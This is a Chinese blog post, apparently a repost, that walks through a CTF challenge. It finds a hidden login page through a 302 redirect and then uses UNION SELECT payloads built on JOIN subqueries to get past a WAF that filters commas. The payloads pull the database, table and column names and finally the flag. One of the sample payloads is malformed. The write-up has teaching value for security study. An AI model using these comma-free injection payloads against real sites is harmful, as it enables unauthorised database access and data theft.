首页 > 其他 > 详细

逗号拦截绕过

时间:2019-06-08 17:49:24      阅读:89      评论:0      收藏:0      [点我收藏+]

今天做了一道i春秋上面的题,一些东西可以记录一下。

技术分享图片

查看源码按源码提示输入login.php?id=1

技术分享图片

burp抓包后也没什么有价值的信息。看了别人的wp发现,需要对第一个页面抓包,然后可以找到一个302重定向。简单理解就是在我们进入题目的那一刻有一个页面跳转。

技术分享图片

技术分享图片

真实的url是l0gin.php?id=1.

跟进这个文件

技术分享图片

 

 按套路首先测一下数据库中被过滤的字符。

发现当输入id=1‘ and ascii(substr((select database()),1,1))>64 %23

技术分享图片

 

逗号被waf掉了。

学习了一下无逗号注入

记录一下

 如果不存在逗号的问题,正常的套路应该是

?id=-1‘ union select 1,2#

?id=-1‘ union select database(),2#

?id=-1‘ union select table_name from information.schema.tables where  table_schema where table_schema=database() #

 

join代替逗号:

一,-1‘ union select * from (select database()) a join (select 2) b %23

技术分享图片

数据库名sqli

二,查数据表

-1‘ union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema=‘sqli‘) a join ( select 2 ) b %23

技术分享图片

三,

-1 ‘ union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema=‘sqli‘ and table_name=‘users‘) a join ( select 2 ) b %23

技术分享图片

 

四,

-1‘ union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23

技术分享图片

 

 

 

flag{39502a7a-7f1d-4bd4-bd72-eddba8603eea}

 

逗号拦截绕过

原文:https://www.cnblogs.com/sylover/p/10991106.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!